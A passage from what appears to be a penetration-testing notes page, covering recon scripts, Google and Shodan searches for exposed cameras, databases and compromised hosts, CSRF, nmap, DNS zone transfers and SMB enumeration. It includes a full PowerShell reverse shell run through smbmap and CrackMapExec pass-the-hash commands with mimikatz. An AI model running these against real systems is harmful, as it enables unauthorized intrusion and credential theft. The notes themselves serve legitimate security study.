https://crt.sh/\?q\=\%.$1\&output\=json | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > $1 fi ``` If you can't get jq installed - try this script ``` #!/bin/bash # a basic script to pull information from crt and present it # example ./crt.sh offsecnewbie.com # author rowbot if [[ $# -eq 0 ]] ; then echo "Usage: ./crt.sh domain" exit 1 else curl -s "https://crt.sh/?q=%.$1" -o rawdata; cat rawdata | grep "" | grep -vE "style" | cut -d ">" -f 2 | grep -Po '.*(?=....$)' | sort -u | grep -v "*" > $1 fi ``` Compare subdomains found using theHavester with crt.sh script as some will be missing - not all domains have ssl. ``` theHarvester -d offsecnewbie.com -l 500 -b google ``` IP addresses from subdomains ``` for i in $(cat subdomains.txt); do dig $i | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | grep -vE "10.*"; done ``` Use Virustotal to find subdomains ``` https://www.virustotal.com ``` ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-Lld37FJPVUr9P6Bx15p%2F-Lld3EgoxtLpK2IAFQpi%2Fimage.png?alt=media\&token=e28bfaca-97aa-4c54-b25a-8eaa9f1537c0) Also you can play about with a nice entity diagram ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-Lld37FJPVUr9P6Bx15p%2F-Lld3ZkH4lqUqZydifNH%2Fimage.png?alt=media\&token=dbd1cf37-4481-4f97-a25b-b5da9ed20814) ## Read ``` https://www.bugcrowd.com/blog/discovering-subdomains/ ``` FireFox addon - passive recon ## Google hacking ``` examples here site:offsecnewbie.com doctype:docx inurl:/etc/passwd%00 intext:root also check out doc meta info, ie doc creator, where doc was stored, created with Office 2010, saved on this network share eg its IP address ``` also heck out doc meta info, gives info such as where doc was stored - network share ip address, who created it, what was it created with etc ``` https://github.com/ElevenPaths/FOCA ``` ## Social Media Search Search for people on social media ``` /opt/sherlock/sherlock.py ``` ## Recon A giant inventory of recon tools is available via the Skip Tracing Framework ``` https://makensi.es/stf/ ``` ## Find information about a device that is connected Create a and get someone to click on it. On device go to ## List of OSINT Tools {% embed url="" %} {% embed url="" %} {% embed url="" %} 1. [title:camera](https://www.shodan.io/search?query=title%3Acamera) – general search for anything matching the “camera” keyword. 2. [webcam has\_screenshot:true](https://www.shodan.io/search?query=webcam+has_screenshot%3Atrue) – a general search for any IoT device identified as a webcam that has screenshots available. 3. [has\_screenshot:true IP Webcam](https://www.shodan.io/search?query=has_screenshot%3Atrue+IP+Webcam) – another version of the above search, see how the results might differ? 4. [server: webcampxp](https://www.shodan.io/search?query=server%3A+webcamxp) – webcamXP is one of the most popular and commonly encountered network camera software for Windows OS. 5. [server: “webcam 7”](https://www.shodan.io/search?query=server%3A+%22webcam+7%22) – webcam 7 cameras; not as popular as the above type, but still they are still popular and encountered out there. 6. [title:”blue iris remote view”](https://www.shodan.io/search?query=title%3A%22blue+iris+remote+view%22) – webcams identified as belonging to the [Blue Iris](https://blueirissoftware.com/) webcam remote management and monitoring service. 7. [title:”ui3 -“](https://www.shodan.io/search?query=title%3A%22ui3+-%22) – UI3 is a HTML5 web interface for Blue Iris mentioned above. 8. [title:”Network Camera VB-M600″](https://www.shodan.io/search?query=title%3A%22Network+Camera+VB-M600%22) – Canon manufactured megapixel security cameras. 9. [product:”Yawcam webcam viewer httpd”](https://www.shodan.io/search?query=product%3A%22Yawcam+webcam+viewer+httpd%22) – Yawcam stands for Yet Another WebCAM, free live streaming and webcam software. 10. [title:”IPCam Client”](https://www.shodan.io/search?query=title%3A%22IPCam+Client%22) – IPCam Client webcam devices. 11. [server: GeoHttpServer](https://www.shodan.io/search?query=Server%3A+GeoHttpServer) – GeoVision (GeoHttpServer) Webcams, older webcam software with some had well documented vulnerabilities. 12. [server: VVTK-HTTP-Server](https://www.shodan.io/search?query=server%3A+VVTK-HTTP-Server) – Vivotek IP cameras. 13. [title:”Avigilon”](https://www.shodan.io/search?query=title%3A%22Avigilon%22) – access to the Avigilion brand camera and monitoring devices. 14. [ACTi](https://www.shodan.io/search?query=ACTi) – various IP camera and video management system products. 15. [WWW-Authenticate: “Merit LILIN Ent. Co., Ltd.”](https://www.shodan.io/search?query=WWW-Authenticate%3A+%22Merit+LILIN+Ent.+Co.%2C+Ltd.%22) – a UK-based house automation / IP camera provider. 16. [title:”+tm01+”](https://www.shodan.io/search?query=title%3A%22%2Btm01%2B%22) – unsecured Linksys webcams, a lot of them with screenshots. 17. [server: “i-Catcher Console”](https://www.shodan.io/search?query=server%3A+%22i-Catcher+Console%22) – another example of an IP-based CCTV system. 18. [Netwave IP Camera Content-Length: 2574](https://www.shodan.io/search?query=Netwave+IP+Camera+Content-Length%3A+2574) – access to the Netwave make IP cameras. 19. [200 ok dvr port:”81″](https://www.shodan.io/search?query=200+ok+dvr+port%3A%2281%22) – DVR CCTV cameras accessible via http. 20. [WVC80N](https://www.shodan.io/search?query=WVC80N) – Linksys WVC80N cameras. Explore further by these tags: WEBCAM: CAM: [https://www.shodan.io/explore/tag/cam ](https://www.shodan.io/explore/tag/cam) CAMERA: #### VOIP communication devices 1. [device:”voip”](https://www.shodan.io/search?query=device%3A%22voip%22) – general search for Voice over IP devices. 2. [device:”voip phone”](https://www.shodan.io/search?query=device%3A%22voip+phone%22) – more specific search for anything VoIP containing a “phone” keyword. 3. [server: snom](https://www.shodan.io/search?query=server%3A+snom) – Snom is a VoIP provider with some legacy devices online. 4. [“snom embedded 200 OK”](https://www.shodan.io/search?query=%22snom+embedded+200+OK%22) – Snom devices with enabled authentication. 5. [AddPac](https://www.shodan.io/search?query=AddPac) – an older VoIP provider, nearly exclusively legacy devices. 6. [mcu: tandberg](https://www.shodan.io/search?query=mcu%3A+tandberg) – Tandberg is a hardware manufacturer of multi-point control units for video conferencing. 7. [title:”polycom”](https://www.shodan.io/search?query=title%3A%22polycom%22) – Polycom is another VoIP communication brand. 8. [title:”openstage”](https://www.shodan.io/search?query=title%3A%22openstage%22) – Siemens Openstage brand IP phones. 9. [39 voip](https://www.shodan.io/search?query=39+voip) – some more VoIP services, mostly behind login screens 10. [Server: MSOS/2.0 mawebserver/1.1](https://www.shodan.io/search?query=Server%3A+MSOS%2F2.0+mawebserver%2F1.1) – VoIP media gateway, commonly used by services such as Patton SN4112 FXO. #### Database searches 1. [product:MySQL](https://www.shodan.io/search?query=product%3AMySQL) – broad search for MySQL databases. 2. [mongodb port:27017](https://www.shodan.io/search?query=mongodb+port%3A27017) – MongoDB databases on their default port. Unsecured by default. 3. [“MongoDB Server Information” port:27017](https://www.shodan.io/search?query=%22MongoDB+Server+Information%22+port%3A27017) – another variation of the above search. 4. [“MongoDB Server Information { “metrics”:”](https://www.shodan.io/search?query=%22MongoDB+Server+Information+%7B+++++%22metrics%22%3A%22) – fully open MongoDBs. 5. [“Set-Cookie: mongo-express=” “200 OK”](https://www.shodan.io/search?query=%22Set-Cookie%3A+mongo-express%3D%22+%22200+OK%22) – MongoDB open databases. 6. [kibana content-length:217](https://www.shodan.io/search?query=kibana+content-length%3A217) – Kibana dashboards accessible without authentication. 7. [port:”9200″ all:elastic](https://www.shodan.io/search?query=port%3A%229200%22+all%3Aelastic) – Elasticsearch open databases. 8. [port:5432 PostgreSQL](https://www.shodan.io/search?query=port%3A5432+PostgreSQL) – remote connections to PostgreSQL servers. 9. [product:”CouchDB”](https://www.shodan.io/search?query=product%3A%22CouchDB%22) – Apache CouchDB databases listed. 10. [port:”5984″+Server: “CouchDB/2.1.0”](https://www.shodan.io/search?query=port%3A%225984%22%2BServer%3A+%22CouchDB%2F2.1.0%22) – vulnerable CouchDB where remote code execution may be possible. Explore further by the DATABASE tag: [https://www.shodan.io/explore/tag/database ](https://www.shodan.io/explore/tag/database)Database searches 1. [product:MySQL](https://www.shodan.io/search?query=product%3AMySQL) – broad search for MySQL databases. 2. [mongodb port:27017](https://www.shodan.io/search?query=mongodb+port%3A27017) – MongoDB databases on their default port. Unsecured by default. 3. [“MongoDB Server Information” port:27017](https://www.shodan.io/search?query=%22MongoDB+Server+Information%22+port%3A27017) – another variation of the above search. 4. [“MongoDB Server Information { “metrics”:”](https://www.shodan.io/search?query=%22MongoDB+Server+Information+%7B+++++%22metrics%22%3A%22) – fully open MongoDBs. 5. [“Set-Cookie: mongo-express=” “200 OK”](https://www.shodan.io/search?query=%22Set-Cookie%3A+mongo-express%3D%22+%22200+OK%22) – MongoDB open databases. 6. [kibana content-length:217](https://www.shodan.io/search?query=kibana+content-length%3A217) – Kibana dashboards accessible without authentication. 7. [port:”9200″ all:elastic](https://www.shodan.io/search?query=port%3A%229200%22+all%3Aelastic) – Elasticsearch open databases. 8. [port:5432 PostgreSQL](https://www.shodan.io/search?query=port%3A5432+PostgreSQL) – remote connections to PostgreSQL servers. 9. [product:”CouchDB”](https://www.shodan.io/search?query=product%3A%22CouchDB%22) – Apache CouchDB databases listed. 10. [port:”5984″+Server: “CouchDB/2.1.0”](https://www.shodan.io/search?query=port%3A%225984%22%2BServer%3A+%22CouchDB%2F2.1.0%22) – vulnerable CouchDB where remote code execution may be possible. Explore further by the DATABASE tag: [https://www.shodan.io/explore/tag/database ](https://www.shodan.io/explore/tag/database) #### Maritime devices 1. [maritime](https://www.shodan.io/search?query=maritime) – general search for anything related to maritime devices. 2. [sailor](https://www.shodan.io/search?query=sailor) – another wide search, could yield unrelated results! 3. [org:marlink](https://www.shodan.io/search?query=org%3Amarlink) – general search; Marlink is the world’s largest maritime satellite communications provider. 4. [satcom](https://www.shodan.io/search?query=satcom) – another maritime satellite communications services provider. 5. [inmarsat](https://www.shodan.io/search?query=inmarsat) – as above, but a slightly less known equipment vendor. 6. [vsat](https://www.shodan.io/search?query=vsat) – abbreviation for “very-small-aperture terminal”, a data transmitter / receiver commonly used by maritime vessels. 7. [ECDIS](https://www.shodan.io/search?query=ECDIS) – abbreviation for Electronic Chart Display and Information Systems, used in navigation and autopilot systems. 8. [uhp vsat terminal software -password](https://www.shodan.io/search?query=uhp+vsat+terminal+software+-password) – satellite network router without a password. 9. [ssl:”Cobham SATCOM”](https://www.shodan.io/search?query=ssl%3A%22Cobham+SATCOM%22) – maritime radio and locations systems. 10. [title:”Slocum Fleet Mission Control”](https://www.shodan.io/search?query=title%3A%22Slocum+Fleet+Mission+Control%22) – maritime mission control software. Explore further by the VSAT tag: #### Files & directories 1. [http.title:”Index of /”](https://www.shodan.io/search?query=http.title%3A%22Index+of+%2F%22) – open lists of files and directories on various servers. 2. [port:80 title:”Index of /”](https://www.shodan.io/search?query=port%3A80+title%3A%22Index+of+%2F%22) – slight variation of the above, note how the results might differ. 3. [“220” “230 Login successful.” port:21](https://www.shodan.io/search?query=%22220%22+%22230+Login+successful.%22+port%3A21) – FTP resources potentially accessible without login credentials. 4. [230 ‘anonymous@’ login ok](https://www.shodan.io/search?query=230+%27anonymous%40%27+login+ok) – anonymous login allowed to FTP resources. 5. [“Anonymous+access+allowed” port:”21″](https://www.shodan.io/search?query=%22Anonymous%2Baccess%2Ballowed%22+port%3A%2221%22) – as above. 6. [vsftpd 2.3.4](https://www.shodan.io/search?query=Vsftpd+2.3.4) – legacy Linux based FTP service with a widely known security vulnerability 7. [ftp port:”10000″](https://www.shodan.io/search?query=ftp+port%3A%2210000%22) – Network Data Management Protocol (NDMP), used for backup of network-attached storage (NAS) devices. 8. [“Authentication: disabled” port:445 product:”Samba”](https://www.shodan.io/search?query=%22Authentication%3A+disabled%22+port%3A445+product%3A%22Samba%22) – SMB file sharing 9. [“QuickBooks files OverNetwork” -unix port:445](https://www.shodan.io/search?query=%22QuickBooks+files+OverNetwork%22+-unix+port%3A445) – default settings for sharing QuickBooks files. 10. [filezilla port:”21″](https://www.shodan.io/search?query=filezilla+port%3A%2221%22) – popular file sharing software Filezilla. Explore further by these tags: FTP: SMB: [https://www.shodan.io/explore/tag/smb ](https://www.shodan.io/explore/tag/smb) #### Legacy Windows operating systems 1. [os:”Windows 5.0″](https://www.shodan.io/search?query=os%3A%22Windows+5.0%22) – Windows 2000; support ended in 2010. 2. [os:”Windows 5.1″](https://www.shodan.io/search?query=os%3A%22Windows+5.1%22) – Windows XP; support ended in 2014. 3. [os:Windows 2003](https://www.shodan.io/search?query=os%3AWindows+2003) – Windows Server 2003; support ended in 2015. 4. [os:”Windows Vista”](https://www.shodan.io/search?query=os%3A%22Windows+Vista%22)– Windows Vista; support ended in 2017. 5. [os:Windows 2008](https://www.shodan.io/search?query=os%3AWindows+2008) – Windows Server 2008; support ended in 2020. 6. [os:”Windows 7″](https://www.shodan.io/search?query=os%3A%22Windows+7%22) – Windows 7; support ended in 2020. 7. [os:”Windows 8″](https://www.shodan.io/search?query=os%3A%22Windows+8%22) – Windows 8; support ended in 2016. 8. [os:Windows 2011](https://www.shodan.io/search?query=os%3AWindows+2011) – Windows Home Server 2011; support ended in 2016. 9. [os:”Windows 8.1″](https://www.shodan.io/search?query=os%3A%22Windows+8.1%22) – Windows 8.1; support ended in 2018. 10. [os:Windows 2012](https://www.shodan.io/search?query=os%3AWindows+2012) – Windows Server 2012; support ended in 2018. Explore further by the WINDOWS tag: #### Default / generic credentials 1. [admin 1234](https://www.shodan.io/search?query=admin+1234) – basic very unsecure credentials. 2. [“default password”](https://www.shodan.io/search?query=%22default+password%22) – speaks for itself… 3. [test test port:”80″](https://www.shodan.io/search?query=test+test+port%3A%2280%22) – generic test credentials over HTTP. 4. [“authentication disabled” “RFB 003.008”](https://www.shodan.io/search?query=%22authentication+disabled%22+%22RFB+003.008%22) – no authentication necessary. 5. “[root@” port:23 -login -password -name -Session](https://www.shodan.io/search?query=%22root%40%22+port%3A23+-login+-password+-name+-Session) – accounts already logged in with root privilege over Telnet, port 23. 6. [port:23 console gateway](https://www.shodan.io/search?query=port%3A23+console+gateway) – remote access via Telnet, no password required. 7. [html:”def\_wirelesspassword”](https://www.shodan.io/search?query=html%3A%22def_wirelesspassword%22) – default login pages for routers. 8. [“polycom command shell”](https://www.shodan.io/search?query=%22polycom+command+shell%22) – possible authentication bypass to Polycom devices. 9. [“authentication disabled” port:5900,5901](https://www.shodan.io/search?query=%22authentication+disabled%22+port%3A5900%2C5901) – VNC services without authentication. 10. [“server: Bomgar” “200 OK”](https://www.shodan.io/search?query=%22server%3A+Bomgar%22+%22200+OK%22) – Bomgar remote support service. Explore further by the VNC tag: #### Printers 1. [printer](https://www.shodan.io/search?query=printer) – general search for printers. 2. [“HP-ChaiSOE” port:”80″](https://www.shodan.io/search?query=%22HP-ChaiSOE%22+port%3A%2280%22) – HP LaserJet printers accessible through HTTP. 3. [title:”syncthru web service”](https://www.shodan.io/search?query=title%3A%22syncthru+web+service%22) – older Samsung printers, not secured by default. 4. [“Location: /main/main.html” debut](https://www.shodan.io/search?query=%22Location%3A+%2Fmain%2Fmain.html%22+debut) – admin pages of Brother printers, not secured. 5. [port:161 hp](https://www.shodan.io/search?query=port%3A161+hp) – HP printers that can be restarted remotely via port 161. 6. [port:23 “Password is not set”](https://www.shodan.io/search?query=port%3A23+%22Password+is+not+set%22) – open access via Telnet to printers without set passwords. 7. [“Laser Printer FTP Server”](https://www.shodan.io/search?query=%22Laser+Printer+FTP+Server%22) – printers accessible via FTP with anonymous login allowed. 8. [Printer Type: Lexmark](https://www.shodan.io/search?query=Printer+Type%3A+Lexmark) – access to control panels for Lexmark make printers. 9. [http 200 server epson -upnp](https://www.shodan.io/search?query=http+200+server+epson+-upnp) – HTTP accessible Epson printers. 10. [“Server: EPSON-HTTP” “200 OK”](https://www.shodan.io/search?query=%22Server%3A+EPSON-HTTP%22+%22200+OK%22) – another variation of the above search. 11. [ssl:”Xerox Generic Root”](https://www.shodan.io/search?query=ssl%3A%22Xerox+Generic+Root%22) – remote access to Xerox printers. 12. [“Server: CANON HTTP Server”](https://www.shodan.io/search?query=%22Server%3A+CANON+HTTP+Server%22) – Canon printer servers through HTTP connection. Explore further by these tags: PRINTER: PRINTERS: PRINT SERVER: [https://www.shodan.io/explore/tag/print%20server ](https://www.shodan.io/explore/tag/print%20server) #### Compromised devices and websites 1. [hacked](https://www.shodan.io/search?query=hacked) – general search for the ‘hacked’ label. 2. [“hacked by”](https://www.shodan.io/search?query=%22hacked+by%22) – another variation of the above search. 3. [http.title:”Hacked by”](https://www.shodan.io/search?query=http.title%3A%22Hacked+by%22) – another variation of the same search filter. 4. [http.title:”0wn3d by”](https://www.shodan.io/search?query=http.title%3A%220wn3d+by%22) – resourced labelled as ‘owned’ by a threat agent, hacker group, etc. 5. [“HACKED-ROUTER”](https://www.shodan.io/search?query=%22HACKED-ROUTER%22) – compromised routers, labelled accordingly. 6. [port:”27017″ “send\_bitcoin\_to\_retrieve\_the\_data”](https://www.shodan.io/search?query=port%3A%2227017%22+%22send_bitcoin_to_retrieve_the_data%22) – databases affected by ransomware, with the ransom demand still associated with them. 7. [bitcoin has\_screenshot:true](https://www.shodan.io/search?query=bitcoin+has_screenshot%3Atrue) – searches for the ‘bitcoin’ keyword, where a screenshot is present (useful for RDP screens of endpoints infected with ransomware). 8. [port:4444 system32](https://www.shodan.io/search?query=port%3A4444+system32) – compromised legacy operating systems. Port 4444 is the default port for Meterpreter – a Metasploit attack payload with an interactive shell for remote code execution. 9. [“attention”+”encrypted”+port:3389](https://www.shodan.io/search?query=%22attention%22%2B%22encrypted%22%2Bport%3A3389) – ransomware infected RDP services. 10. [“HACKED-ROUTER-HELP-SOS-HAD-DEFAULT-PASSWORD”](https://www.shodan.io/search?query=%22HACKED-ROUTER-HELP-SOS-HAD-DEFAULT-PASSWORD%22) – compromised hosts with the name changed to that phrase. 11. [“HACKED FTP server”](https://www.shodan.io/search?query=%22HACKED+FTP+server%22+) – compromised FTP servers. Explore further by the HACKED tag: [https://www.shodan.io/explore/tag/hacked ](https://www.shodan.io/explore/tag/hacked) #### Miscellaneous 1. [solar](https://www.shodan.io/search?query=solar) – controls for solar panels and similar solar devices. 2. [“ETH – Total speed”](https://www.shodan.io/search?query=%22ETH+-+Total+speed%22) – Ethereum cryptocurrency miners. 3. [http.html:”\* The wp-config.php creation script uses this file”](https://www.shodan.io/search?query=http.html%3A%22*+The+wp-config.php+creation+script+uses+this+file%22) – misconfigured WordPress websites. 4. [http.title:”Nordex Control”](https://www.shodan.io/search?query=http.title%3A%22Nordex+Control%22) – searches for Nordex wind turbine farms. 5. [“Server: EIG Embedded Web Server” “200 Document follows”](https://www.shodan.io/search?query=%22Server%3A+EIG+Embedded+Web+Server%22+%22200+Document+follows%22) – EIG electricity meters. 6. [“DICOM Server Response” port:104](https://www.shodan.io/search?query=%22DICOM+Server+Response%22+port%3A104) – DICOM medical machinery. 7. [http.title:”Tesla”](https://www.shodan.io/search?query=http.title%3A%22Tesla%22) – anything with the term “Tesla” in the banner. 8. [“in-tank inventory” port:10001](https://www.shodan.io/search?query=%22in-tank+inventory%22+port%3A10001) – petrol pumps, including their physical addresses. 9. [http.title:”dashboard”](https://www.shodan.io/search?query=http.title%3A%22dashboard%22) – literally anything labelled ‘dashboard’, with many not accessible due to security by default. 10. [http.title:”control panel”](https://www.shodan.io/search?query=http.title%3A%22control+panel%22) – as above, but whatever is labelled as control panels. ## Favicon - Search in Shodan # Attack Types A description of attack types ## CSRF ``` https://owasp.org/www-community/attacks/csrf ``` Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions in a web application wherein they're currently authenticated. Cross-Site Request Forgery (CSRF) attacks specifically target state-changing requests – not theft of data since the attacker has no way to see the response to the forged request. With a little social engineering help (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force them to perform state-changing requests such as transferring funds or changing their email address. If the victim has an administrative account, CSRF can compromise the entire web application. **GET scenario** If the application was designed to use GET requests to execute actions like making bank transfers or sending messages, the executing action might be reduced to a request as shown below: ``` GET http://application.com/action.do?account=Victim&amount=100 HTTP/1.1 ``` An attacker now decides to exploit this web application vulnerability. The attacker first constructs the following exploit URL, which will transfer $10,000 from the victim's account to their own. ``` http://application.com/action.do?account=Attacker&amount=10000 ``` The social engineering aspect of the attack tricks the victim into loading this URL while logged into the banking application. This is usually done with one of the following techniques: * sending an unsolicited email with HTML content * planting an exploit URL or script on pages the victim is likely to visit while banking online **POST scenario** The only difference between GET and POST attacks is how the attack is being executed by the victim. Let's assume the bank now uses POST and the vulnerable request looks like this: ``` POST http://application.com/action.do HTTP/1.1 account=Victim&amount=10 ``` tbc # Network ## Scan for hosts ``` nmap -sn $iprange -oG - | grep Up | cut -d' ' -f2 > network.txt ``` ## Port scanning TCP Port scanner script I use. ``` wget https://raw.githubusercontent.com/rowbot1/portscanner/main/portscanner.sh ``` #### **All TCP Ports:** ``` nmap -Pn -sC -sV -oA all -vv -p- $ip ``` {% hint style="success" %} When you're getting no where with the TCP ports - try UDP ports. Easily forgotten about! {% endhint %} #### **UDP Top 100:** ``` nmap -Pn -sU --top-ports 100 -oA udp -vv $ip ``` ### Utilize nmap's scripts #### Find script related to a service your interested in, example here is ftp ``` locate .nse | grep ftp ``` #### What does a script do? ``` nmap --script-help ftp-anon ``` ### Uniscan ``` uniscan -u $ip -qweds ``` #### Good nmap command ``` nmap -T4 -n -sC -sV -p- -oN nmap-versions --script='*vuln*' [ip] ``` ### **unicornscan + nmap = onetwopunch** Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration. ``` ./onetwopunch.sh -t targets.txt -i tun0 -n '-T4 -n -sC -sV -oN nmap-versions --script=*vuln*' ``` ## Vulnerability scanning NSE scripts that scans for vulnerabilities are at `ls -l /usr/share/nmap/scripts/*vuln*`. ``` nmap -p 80 --script=all $ip - Scan a target using all NSE scripts. May take an hour to complete. nmap -p 80 --script=*vuln* $ip - Scan a target using all NSE vuln scripts. nmap -p 80 --script=http*vuln* $ip - Scan a target using all HTTP vulns NSE scripts. nmap -p 21 --script=ftp-anon $ip/24 - Scan entire network for FTP servers that allow anonymous access. nmap -p 80 --script=http-vuln-cve2010-2861 $ip/24 - Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password hash. ``` ### Search services vulnerabilities ``` searchsploit --exclude=dos -t apache 2.2.3 ``` ``` msfconsole; > search apache 2.2.3 ``` ## DNS Find name servers ``` host -t ns $ip ``` ### fierce ``` fierce -dns $domain ``` Find email servers ``` host -t mx $ip ``` Subdomain bruteforcing ``` for ip in $(cat list.txt); do host $ip.$website; done ``` Reverse dns lookup bruteforcing ``` for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found" ``` ### Zone transfer request {% embed url="" %} secure against it {% endembed %} When initialising a zone transfer, the attacker will first need to know the name of the zone which they are targeting and then specify the IP address of the DNS server to perform the zone transfer against. Below is a zone transfer against an open DNS server. You can use either of the commands below: `dig @ axfr`\ `host -l ` `dig @[DNS SERVER HERE] axfr [DOMAIN NAME HERE]`
*The ‘@’ symbol is used to specify the target DNS server* ``` host -l $ip ns1.$ip ``` ``` dnsrecon -d $ip -t axfr ``` Finds nameservers for a given domain ``` host -t ns $ip| cut -d " " -f 4 # ``` ``` dnsenum $ip ``` Nmap zone transfer scan ``` nmap $ip --script=dns-zone-transfer -p 53 ``` Finds the domain names for a host. ``` whois $ip ``` Find the IP and authoritative servers. ``` nslookup $ip ``` Finds miss configure DNS entries. ``` host -t ns $ip ``` TheHarvester finds subdomains in google, bing, etc ``` python theHarvester.py -l 500 -b all -d $ip ``` ## SMB and SAMBA Server Message Block (**SMB**) Protocol is a network file sharing protocol, and as implemented in Microsoft **Windows** **Samba** has provided secure, stable and fast file and print services for all clients using the SMB/CIFS protocol, such as all versions of DOS and Windows, OS/2, Linux and many others | SMB Version | Windows version | | ----------- | ------------------------------------------------------------------------ | | CIFS | Microsoft Windows NT 4.0 | | SMB 1.0 | Windows 2000, Windows XP, Windows Server 2003 and Windows Server 2003 R2 | | SMB 2.0 | Windows Vista & Windows Server 2008 | | SMB 2.1 | Windows 7 and Windows Server 2008 R2 | | SMB 3.0 | Windows 8 and Windows Server 2012 | | SMB 3.0.2 | Windows 8.1 and Windows Server 2012 R2 | | SMB 3.1.1 | Windows 10 and Windows Server 2016 | #### SMB uses the following TCP and UDP ports: ``` netbios-ns 137/tcp # NETBIOS Name Service netbios-ns 137/udp netbios-dgm 138/tcp # NETBIOS Datagram Service netbios-dgm 138/udp netbios-ssn 139/tcp # NETBIOS session service netbios-ssn 139/udp microsoft-ds 445/tcp # if you are using Active Directory ``` ### Checklist * Enumerate Hostname - `nmblookup -A $ip` * List Shares * `smbmap -H $ip` * `echo exit | smbclient -L \\\\$ip` * `nmap --script smb-enum-shares -p 139,445 $ip` * Check Null Sessions * `smbmap -H $ip` * `rpcclient -U "" -N $ip` * `smbclient \\\\$ip\\[share name]` * Check for Vulnerabilities - `nmap --script smb-vuln* -p 139,445 $ip` * Overall Scan - `enum4linux -a $ip` * Manual Inspection * `smbver.sh $ip (port)` Get a shell with smbmap ``` smbmap -u jsmith -p 'R33nisP!nckle' -d ABC -h 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' ``` Quick script to check for vulns ``` https://github.com/rowbot1/OSCP-note/blob/master/ENUMERATION/SMB/SMB-check-vulns.rb ``` mblookup — NetBIOS over TCP/IP client used to lookup NetBIOS names ### Scanning for the NetBIOS Service SMB NetBIOS service listens on TCP ports 139 and 445, as well as several UDP ports. `nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24` `nbtscan -r 192.168.1.0/24` #### Null Session Enumeration **Vulnerable SMB Versions** #### Vulnerable versions: ``` Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default Most Samba (Unix) servers ``` List of SMB versions and corresponding Windows versions: ``` SMB1 – Windows 2000, XP and Windows 2003. SMB2 – Windows Vista SP1 and Windows 2008 SMB2.1 – Windows 7 and Windows 2008 R2 SMB3 – Windows 8 and Windows 2012. ``` Empty LM and NTLM hashes: ``` Empty LM Hash: aad3b435b51404eeaad3b435b51404ee Empty NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0 ``` **rpcclient** Manually probe a SMB server ``` rpcclient -U '' $ip Password: rpcclient $> srvinfo # operating system version rpcclient $> netshareenumall # enumerate all shares and its paths rpcclient $> enumdomusers # enumerate usernames defined on the server rpcclient $> getdompwinfo # smb password policy configured on the server ``` Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work. **enum4linux** Wrapper around smb programs like `rpcclient` to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using. ``` enum4linux -a $ip enum4linux -u 'guest' -p '' -a $ip ``` **CrackMapExec** Works perfectly, list shares and permissions, enum users, disks, code execute and run modules like mimikatz. Hashes work. Also will tell you exact version of Windows ``` crackmapexec -u 'guest' -p '' --shares $ip crackmapexec -u 'guest' -p '' --rid-brute 4000 $ip crackmapexec -u 'guest' -p '' --users $ip crackmapexec smb 192.168.1.0/24 -u Administrator -p P@ssw0rd crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24 crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami $ip crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami $ip# reliable pth code execution ``` Also will tell you exact version of windows: ![](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-LtC6WJ_9AZYlYnAktZI%2F-LtC8QYXbOrdewzYezqn%2Fimage.png?alt=media\&token=a0a53930-bd20-463b-85b9-e81b5b680432) **smbmap** Works well for listing and downloading 